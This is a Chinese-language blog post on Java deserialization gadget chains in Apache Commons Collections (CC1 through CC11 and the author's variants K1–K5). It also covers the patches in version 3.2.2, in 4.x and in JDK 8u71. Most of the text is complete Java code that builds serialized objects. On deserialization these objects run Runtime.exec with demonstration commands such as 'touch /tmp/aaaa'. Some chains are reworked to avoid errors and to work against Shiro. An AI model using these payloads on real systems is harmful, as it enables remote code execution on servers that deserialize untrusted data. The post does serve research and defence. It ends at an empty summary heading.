前言 如果不关心背后的原理,直接看最后的总结即可。
Tips:主要是只写了个人的理解,并没有多详细
CommonsCollections1 依赖
CommonsCollections <= 3.2.1
Java < 8u71
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() ConstantTransformer.transform()
分析 大致可以分为两部分,一部分是构造 ChainedTransformer
,另一部分是设法调用这个 chain
的 transform
方法。其中前者可以直接表示为:
java 1 2 3 4 5 6 7 8 9 10 11 12 final Transformer[]transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{ String.class,Class[].class},new Object []{ "getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" ,new Class []{ Object.class,Object[].class},new Object []{ null ,new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class},new String []{"say yes" }), }; ChainedTransformer chain=new ChainedTransformer (transformers);
当这里的 chain.transform 被调用时,执行的命令类似:
1 Runtime.getRuntime().exec("say yes" );
更深入的,调用过程类似下面的反射调用:
java 1 2 3 4 5 6 7 8 9 10 Class cls=Object.class.getClass(); Method m=cls.getMethod("getMethod" ,String.class,Class[].class); Object getRuntime=m.invoke(Runtime.class,"getRuntime" ,new Class [0 ]); cls=getRuntime.getClass(); m=cls.getMethod("invoke" ,Object.class,Object[].class); Object runtime=m.invoke(getRuntime,null ,new Object [0 ]); m=runtime.getClass().getMethod("exec" ,String.class); m.invoke(runtime,"say yes" );
关键在于如何去调用这个 chain 的 transform
方法,ysoserial 的 CommonsCollections1 用的调用链依赖于两次 AnnotationInvocationHandler
的代理和一个 LazyMap
的最终触发,这个过程完整手写的话如下:
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 final String[]execArgs=new String []{"touch /tmp/aaaa" };final Transformer[]transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{ String.class,Class[].class},new Object []{ "getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" ,new Class []{ Object.class,Object[].class},new Object []{ null ,new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class},execArgs), new ConstantTransformer (new HashSet <String>())}; ChainedTransformer chain=new ChainedTransformer (transformers); Map hashMap=new HashMap (); Map m=LazyMap.decorate(hashMap,chain); Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler handler=(InvocationHandler)constructor.newInstance(Deprecated.class,m); Object proxy=Proxy.newProxyInstance(handler.getClass().getClassLoader(),new Class []{Map.class},handler); Object obj=constructor.newInstance(Deprecated.class,proxy); ObjectOutputStream out=new ObjectOutputStream (new FileOutputStream ("out.bin" )); out.writeObject(obj); out.close();
CommonsCollections2 依赖
利用链 1 2 3 4 5 6 7 8 9 10 11 ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() TemplatesImpl.newTransformer() TemplatesTmpl.getTransletInstance() TemplatesTmpl.defineTransletClasses() TemplatesTmpl.newInstance() ClassInitializer() Runtime.exec()
分析 java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public static void main (String[]args) throws Exception{ String code="{System.out.println('1');}" ; ClassPool pool=ClassPool.getDefault(); CtClass clazz=pool.get(Exception.class.getName()); clazz.makeClassInitializer().insertBefore(code); clazz.setName("demo" ); byte []byteCode=clazz.toBytecode(); Class cls=new DefiningClassLoader ().defineClass("demo" ,byteCode); cls.newInstance(); } public class Exception extends Throwable { { System.out.println('1' ); } ... }
这段代码展示了两个小知识,一是可以利用 ClassLoader
去加载字节码然后执行,而是借助 javassist 的强大魅力,可以轻松的给已有的类做编排(Instrumenting)内置类型 Exception 增加一段 static 代码块,加载字节码市,静态代码块就会被执行,借助这个特性,可以做一些非常 Magic 和 Amazing 的事情。
CommonCollections2 和下面的几个利用链都用到了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类,这个类有个特性当调用 newTransform
时,会加载内部的 `_bytecode 中的字节码并实例化,这个利用链手写大致如下:
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static class FooBar implements Serializable {} public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); String AbstractTranslet = "org.apache.xalan.xsltc.runtime.AbstractTranslet" ; pool.insertClassPath(new ClassClassPath (FooBar.class)); pool.insertClassPath(new ClassClassPath (Class.forName(AbstractTranslet))); CtClass bar = pool.get(FooBar.class.getName()); CtClass translet = pool.get(Class.forName(AbstractTranslet).getName()); bar.setSuperclass(translet); bar.makeClassInitializer().insertBefore("{Runtime.getRuntime().exec(\"touch /tmp/abc\");}" ); bar.getDeclaredConstructor(new CtClass [0 ]).insertAfter("{$0.transletVersion=101;}" ); byte [] b = bar.toBytecode(); byte [] foo = pool.get(Gadgets.Foo.class.getName()).toBytecode(); Constructor con = TemplatesImpl.class.getDeclaredConstructor(byte [][].class, String.class, Properties.class, int .class, TransformerFactoryImpl.class); con.setAccessible(true ); Templates tpl = (Templates) con.newInstance(new byte [][]{b, foo}, "abc" , new Properties (), 1 , new TransformerFactoryImpl ()); ... } }
这里相比原版加了一行 bar.getDeclaredConstructor(new CtClass[0]).insertAfter("{$0.transletVersion=101;}");
这个可以有效防止序列化之后的报错,整个序列化流程跑完没有任何异常,非常舒服。我们将这个函数保存为 createTemplate() ,后面就不用再写相同代码了。至于触发方法,在 CommonsCollections2 中用的是这样的利用链:
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 final Object templates=Gadgets.createTemplatesImpl(command);final InvokerTransformer transformer=new InvokerTransformer ("toString" ,new Class [0 ],new Object [0 ]);final PriorityQueue<Object> queue=new PriorityQueue <Object>(2 ,new TransformingComparator (transformer)); queue.add(1 ); queue.add(1 ); Reflections.setFieldValue(transformer,"iMethodName" ,"newTransformer" ); final Object[]queueArray=(Object[])Reflections.getFieldValue(queue,"queue" ); queueArray[0 ]=tpl; queueArray[1 ]=1 ;
这里用了一个小技巧是利用反射延迟设置 queue 内部的值,防止 queue.add 时利用链就被触发了。但这个成功反序列化后也会有个错误,原因是 Templeates 被实例化后是不可被比较的,我把利用链稍微调整了一下就可以规避这个问题,这个利用链支调整了最终 transform 的逻辑,核心触发逻辑没变,就不作为 2_1 来写了:
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Templates tpl=MyGadget.createTemplate(); InvokerTransformer invokerTransformer=new InvokerTransformer ("toString" ,new Class [0 ],new Object [0 ]); ChainedTransformer transformer=new ChainedTransformer (new Transformer []{ new ConstantTransformer (tpl), invokerTransformer, new ConstantTransformer (1 ), }); PriorityQueue<Object> queue=new PriorityQueue <Object>(2 ,new TransformingComparator (transformer)); queue.add(1 ); queue.add(2 ); Field i=invokerTransformer.getClass().getDeclaredField("iMethodName" ); i.setAccessible(true ); i.set(invokerTransformer,"newTransformer" );
CommonsCollections3 依赖
CommonsCollections <= 3.2.1
Java < 8u71
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() // 变的是下面这部分 ConstantTransformer.transform() InstantiateTransformer.transform() TrAXFilter() TemplatesImpl.newTransformer() TemplatesTmpl.getTransletInstance() TemplatesTmpl.defineTransletClasses() TemplatesTmpl.newInstance() ClassInitializer() Runtime.exec()
分析 和 CommonCollectins1
的前半部分是一致的,所以依赖都是一致的。不同的是借助 InstantiateTransformer
和 TrAXFilter
这个链完成TemplateImpl
的实例化,能利用的原因在于 TrAXFilter
这个类的实例化函数是这样的:
java 1 2 3 4 5 6 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates=templates; _transformer=(TransformerImpl)templates.newTransformer(); _transformerHandler=new TransformerHandlerImpl (_transformer); }
顺手可以手写一份利用代码:
java 1 2 3 4 5 6 Templates tpl=MyGadget.createTemplate(); Transformer chain=new ChainedTransformer (new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{tpl}), });
CommonsCollections4 依赖
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() ChainedTransformer.transform() // 变的是下面这部分 ConstantTransformer.transform() InstantiateTransformer.transform() TrAXFilter() TemplatesImpl.newTransformer() TemplatesTmpl.getTransletInstance() TemplatesTmpl.defineTransletClasses() TemplatesTmpl.newInstance() ClassInitializer() Runtime.exec()
分析 这个就是 2 的后半部分用了 InstantiateTransformer
,和我自己写的那个只有一点点的不一样,不再赘述
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Templates tpl=MyGadget.createTemplate(); ConstantTransformer constantTransformer=new ConstantTransformer (String.class); InstantiateTransformer initTransformer=new InstantiateTransformer (new Class []{},new Object []{}); Transformer transformer=new ChainedTransformer (new Transformer []{ constantTransformer, initTransformer, new ConstantTransformer (1 ), }); PriorityQueue<Object> queue=new PriorityQueue <Object>(2 ,new TransformingComparator (transformer)); queue.add(1 ); queue.add(2 ); Field i=constantTransformer.getClass().getDeclaredField("iConstant" ); i.setAccessible(true ); i.set(constantTransformer,TrAXFilter.class); i=initTransformer.getClass().getDeclaredField("iParamTypes" ); i.setAccessible(true ); i.set(initTransformer,new Class []{Templates.class}); i=initTransformer.getClass().getDeclaredField("iArgs" ); i.setAccessible(true ); i.set(initTransformer,new Object []{tpl});
CommonsCollections5 依赖
CommonsCollections <= 3.2.1
Java >= 8u76
SecurityManager 未开启
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
分析 这个 gadget 只能在 8u76 之后用,原因在于 8u76 为 BadAttributeValueExpException 添加了 readObject
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException,ClassNotFoundException{ ObjectInputStream.GetField gf=ois.readFields(); Object valObj=gf.get("val" ,null ); if (valObj==null ){ val=null ; }else if (valObj instanceof String){ val=valObj; }else if (System.getSecurityManager()==null ||valObj instanceof Long ||valObj instanceof Integer ||valObj instanceof Float ||valObj instanceof Double ||valObj instanceof Byte ||valObj instanceof Short ||valObj instanceof Boolean){ val=valObj.toString(); }else { val=System.identityHashCode(valObj)+"@" +valObj.getClass().getName(); } }
同时 TiedMap 的 toString 方法为,可以说是非常人性化了:
java 1 2 3 4 5 6 7 8 9 Map m=LazyMap.decorate(hashMap,chain); Object obj=new BadAttributeValueExpException ("" ); Field i=obj.getClass().getDeclaredField("val" ); i.setAccessible(true ); i.set(obj,new TiedMapEntry (m,"value" ));
CommonsCollections6 依赖
CommonsCollections <= 3.2.1
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 java.util.HashMap.readObject() java.util.HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
分析 由于 5 有环境版本的要求,这个相当于是 5 的改进,不依赖版本了。利用链原理 TiedMapEntry 的 hashcode 方法可以结合 HashMap
利用:
java 1 2 3 4 5 public int hashCode () { Object value=getValue(); return (getKey()==null ?0 :getKey().hashCode())^ (value==null ?0 :value.hashCode()); }
ysoserial 中这个 gadget 实现的很复杂,实际上可以简化 参考,完整链手写如下:
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 final String[]execArgs=new String []{"open /Applications/Calculator.app" };final Transformer[]transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{ String.class,Class[].class},new Object []{ "getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" ,new Class []{ Object.class,Object[].class},new Object []{ null ,new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class},execArgs), new ConstantTransformer (new HashSet <String>())}; ChainedTransformer inertChain=new ChainedTransformer (new Transformer []{}); HashMap<String, String> innerMap=new HashMap <String, String>(); Map m=LazyMap.decorate(innerMap,inertChain); Map outerMap=new HashMap (); TiedMapEntry tied=new TiedMapEntry (m,"v" ); outerMap.put(tied,"t" ); innerMap.clear(); Field field=inertChain.getClass().getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(inertChain,transformers); ObjectOutputStream out=new ObjectOutputStream (new FileOutputStream ("out.bin" )); out.writeObject(outerMap); out.close();
这里有个细节很关键,就是 innerMap.clear()
这句,这并不是为了清空下缓存,而是如果没有这一句在反序列化时就不会触发了,原因是 LazyMap 中有这样的写法:
java 1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key)==false ){ Object value=factory.transform(key); map.put(key,value); return value; } return map.get(key); }
如果没有 clear,那么反序列化后的 map 是直接包含了 key 的,这里的 factory.transform 就中断了。为了方便使用,我把这条简化后的链命名为了K3,见后面的部分。
CommonsCollections7 依赖
CommonsCollections <= 3.2.1
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut java.util.AbstractMap.equals LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
分析 这个原理基于三个小技巧:
yy 和 zZ 这两个字符串的 hashcode() 是一样的
当向 hashtable 或 hashmap 中put时,如果 key 是一个 map,hashcode 的计算方法是这种方式:
java 1 2 3 4 5 6 7 8 public int hashCode () { int h=0 ; Iterator<Entry<K, V>>i=entrySet().iterator(); while (i.hasNext()) h+=i.next().hashCode(); return h; }
当 key 为 map 类型并且发生了 hashcode 碰撞,会做深层次的比较:
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public boolean equals (Object o) { try { Iterator<Entry<K, V>>i=entrySet().iterator(); while (i.hasNext()){ Entry<K, V> e=i.next(); K key=e.getKey(); V value=e.getValue(); if (value==null ){ if (!(m.get(key)==null &&m.containsKey(key))) return false ; }else { if (!value.equals(m.get(key))) return false ; } }
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Map innerMap1=new HashMap (); Map innerMap2=new HashMap (); Map lazyMap1=LazyMap.decorate(innerMap1,inertChain); lazyMap1.put("yy" ,1 ); Map lazyMap2=LazyMap.decorate(innerMap2,inertChain); lazyMap2.put("zZ" ,1 ); Hashtable hashtable=new Hashtable (); hashtable.put(lazyMap1,1 ); hashtable.put(lazyMap2,2 ); Field i=inertChain.getClass().getDeclaredField("iTransformers" ); i.setAccessible(true ); i.set(inertChain,transformers); lazyMap2.remove("yy" );
CommonsCollections8 依赖
CommonsCollections == 4.0
利用链 java 1 2 3 4 5 6 7 8 9 10 11 12 13 org.apache.commons.collections4.bag.TreeBag.readObject org.apache.commons.collections4.bag.AbstractMapBag.doReadObject java.util.TreeMap.put java.util.TreeMap.compare org.apache.commons.collections4.comparators.TransformingComparator.compare org.apache.commons.collections4.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer ... (TemplatesImpl gadget) java.lang.Runtime.exec
分析 由 navalorenzo师傅 提交
当使用comp对象对两个元素进行compare时,就会调用两个元素的newTransformer方法
构造comp对象,只要调用comp的compare(templates对象)就会造成命令执行,反射修改属性 iMethodName
为 newTransformer
以此触发反序列化
java 1 2 3 4 5 6 7 Object tpl = Gadgets.createTemplatesImpl(type, param);InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]);TransformingComparator comp = new TransformingComparator ((Transformer) transformer);TreeBag tree = new TreeBag ((Comparator) comp);tree.add(tpl); Reflections.setFieldValue(transformer, "iMethodName" , "newTransformer" ); return tree;
CommonsCollections9 依赖
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() DefaultedMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
分析 由 梅子酒师傅 提交
主要利用的是 CommonsCollections:3.2
版本新增的 DefaultedMap
来代替 LazyMap
,因为这两个Map有同样的get函数可以被利用,在构建 TiedMapEntry
类型对象,调用它的 hashCode
方法导致代码执行
java 1 2 3 4 5 6 7 8 9 10 11 12 String command = param[0 ];String[] execArgs = {command}; Class c = (execArgs.length > 1 ) ? String[].class : String.class;ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{(Transformer) new ConstantTransformer (Integer.valueOf(1 ))});Transformer[] transformers = TransformerUtil.makeTransformer(command); Map<Object, Object> innerMap = new HashMap <Object, Object>(); Map defaultedmap = DefaultedMap.decorate(innerMap, (Transformer) chainedTransformer);TiedMapEntry entry = new TiedMapEntry (defaultedmap, "nu1r" );BadAttributeValueExpException val = new BadAttributeValueExpException (null );Reflections.setFieldValue(val, "val" , entry); Reflections.setFieldValue(chainedTransformer, "iTransformers" , transformers); return val;
CommonsCollections10 依赖
CommonsCollections <= 3.2.1
利用链 1 2 3 4 5 6 7 Hashtable.readObject() Hashtable.reconstitutionPut key.hashCode() => TiedMapEntry.hashCode() TiedMapEntry.getValue TiedMapEntry.map.get() => LazyMap.get() factory.transform() => ChainedTransformer.transform() Runtime.getRuntime().exec()
分析 先是HashSet反序列化 -> 对元素entry计算hash -> lazyMap调用get方法 -> 通过InvokerTransformer调用templates的newTransformer -> 加载命令执行的静态代码块
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 final Object templates = Gadgets.createTemplatesImpl(type, param);InstantiateFactory instantiateFactory = new InstantiateFactory (TrAXFilter.class, new Class []{Templates.class}, new Object []{templates});FactoryTransformer factoryTransformer = new FactoryTransformer (instantiateFactory);ConstantTransformer constantTransformer = new ConstantTransformer (1 );Map innerMap = new HashMap ();LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer);TiedMapEntry tme = new TiedMapEntry (outerMap, "nu1r" );Map expMap = new HashMap ();expMap.put(tme, "nu2r" ); setFieldValue(outerMap, "factory" , factoryTransformer); outerMap.remove("nu1r" ); return expMap;
CommonsCollections11 依赖
CommonsCollections 3.1-3.2.1
利用链 1 2 3 4 5 6 7 8 9 10 11 java.io.ObjectInputStream.readobject() java.util.HashSet.readobject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections,functors.InvokerTransformer,transform() java.lang.reflect.Method.invoke() ...templates gadgets... java.lang.Runtime.exec()
分析 在 cc11 中最后是利用 InvokerTransformer 调用 TemplatesImpl#newTransformer 加载恶意字节码来实现的触发的,其他的和CC6差不多。
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 public Object getObject (PayloadType type, String... param) throws Exception { Object templates = Gadgets.createTemplatesImpl(type, param); InvokerTransformer invokerTransformer = new InvokerTransformer ("connect" , null , null ); HashMap<Object, Object> map = new HashMap <>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, templates); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "nu1r" ); lazyMap.remove(templates); Reflections.setFieldValue(lazyMap, "factory" , invokerTransformer); return expMap; }
CommonsCollectionsK1,K2 依赖
K1: CommonsCollections <= 3.2.1
K2: CommonsCollections == 4.0
利用链 1 2 3 4 5 6 HashMap.readObject TiedMapEntry.hashCode TiedMapEntry.getValue LazyMap.decorate InvokerTransformer templates...
分析 这是我在做 shiro 检测时被迫组合出的一条利用链,这条链虽然是新瓶装旧酒——前半段类似 6,后半段类似 2,但完全避免了 ChainedTransformer
的使用且仅依赖于 CommonsCollections
,最终效果是可以直接在 shiro 1.2.24 的环境中使用。
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Object tpl=Gadgets.createTemplatesImpl("cmd" ); InvokerTransformer transformer=new InvokerTransformer ("toString" ,new Class [0 ],new Object [0 ]); HashMap<String, String> innerMap=new HashMap <String, String>(); Map m=LazyMap.decorate(innerMap,transformer); Map outerMap=new HashMap (); TiedMapEntry tied=new TiedMapEntry (m,tpl); outerMap.put(tied,"t" ); innerMap.clear(); Field field=transformer.getClass().getDeclaredField("iMethodName" ); field.setAccessible(true ); field.set(transformer,"newTransformer" ); ObjectOutputStream out=new ObjectOutputStream (new FileOutputStream ("out.bin" )); out.writeObject(outerMap); out.close();
K2 与 K1 的差别,仅仅是将 lazyMap 改为了 4.0 中的写法,不再赘述。
CommonsCollectionsK3,K4 依赖
K1: CommonsCollections <= 3.2.1
K2: CommonsCollections == 4.0
利用链 1 2 3 4 5 6 java.util.HashMap.readObject() java.util.HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform()
分析 K3 这个链其实就是我上面写的 6,ysoserial 中的写法有些啰嗦,所以单独抽出来重新命名了一下。K4 就是 K3 的 4.0 适配版,不再赘述。
CommonsCollectionsK5 依赖
CommonsCollections == 4.0
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut java.util.AbstractMap.equals LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
分析 CC7的升级版,不在赘述。
修复方式 3.2.1 在 3.2.2 中对几个高危反序列化点都加了检查
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private void readObject (ObjectInputStream is) throws ClassNotFoundException,IOException{ FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class); is.defaultReadObject(); } static void checkUnsafeSerialization (Class clazz) { String unsafeSerializableProperty; try { unsafeSerializableProperty= (String)AccessController.doPrivileged(new PrivilegedAction (){ public Object run () { return System.getProperty(UNSAFE_SERIALIZABLE_PROPERTY); } }); }catch (SecurityException ex){ unsafeSerializableProperty=null ; } if (!"true" .equalsIgnoreCase(unsafeSerializableProperty)){ throw new UnsupportedOperationException ( "Serialization support for " +clazz.getName()+" is disabled for security reasons. " + "To enable it set system property '" +UNSAFE_SERIALIZABLE_PROPERTY+"' to 'true', " + "but you must ensure that your application does not de-serialize objects from untrusted sources." ); } }
没有使用黑名单策略,如果配置里没有启用,反序列化功能就会被完全禁用掉。
4.0 直接把一些敏感类的 Serializable 接口去掉了..
WARNING: from v4.1 onwards this class will not be serializable anymore in order to prevent potential remote code execution exploits. Please refer to COLLECTIONS-580
for more details.*
AnnotationInvocationHandler 除了对 CommonsCollections
本身的修复,JDK 对 AnnotationInvocationHandler
这个非常好用的类也做了些防护,在 8u71 中, 对 readObject 做了一些修改
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 private void readObject (ObjectInputStream var1) throws IOException,ClassNotFoundException{ GetField var2=var1.readFields(); Class var3=(Class)var2.get("type" ,(Object)null ); Map var4=(Map)var2.get("memberValues" ,(Object)null ); AnnotationType var5=null ; try { var5=AnnotationType.getInstance(var3); }catch (IllegalArgumentException var13){ throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var6=var5.memberTypes(); LinkedHashMap var7=new LinkedHashMap (); String var10; Object var11; for (Iterator var8=var4.entrySet().iterator();var8.hasNext();var7.put(var10,var11)){ Entry var9=(Entry)var8.next(); var10=(String)var9.getKey(); var11=null ; Class var12=(Class)var6.get(var10); if (var12!=null ){ var11=var9.getValue(); if (!var12.isInstance(var11)&&!(var11 instanceof ExceptionProxy)){ var11=(new AnnotationTypeMismatchExceptionProxy (var11.getClass()+"[" +var11+"]" )).setMember((Method)var5.members().get(var10)); } } } AnnotationInvocationHandler.UnsafeAccessor.setType(this ,var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this ,var7); }
注意到最终反序列化出的 memberValues 已经不是我们原始的 lazyMap 了,而是一个新的 LinkedHashMap ,这样所有 AnnotationInvocationHandler 搭配 lazymap 的利用链全都失效了。这也是我不太喜欢这些利用链的原因,它们不仅有库的依赖,还有环境的依赖。那么哪些是高价值利用链,哪些是没有环境依赖就能打的,我们来总结一下。
总结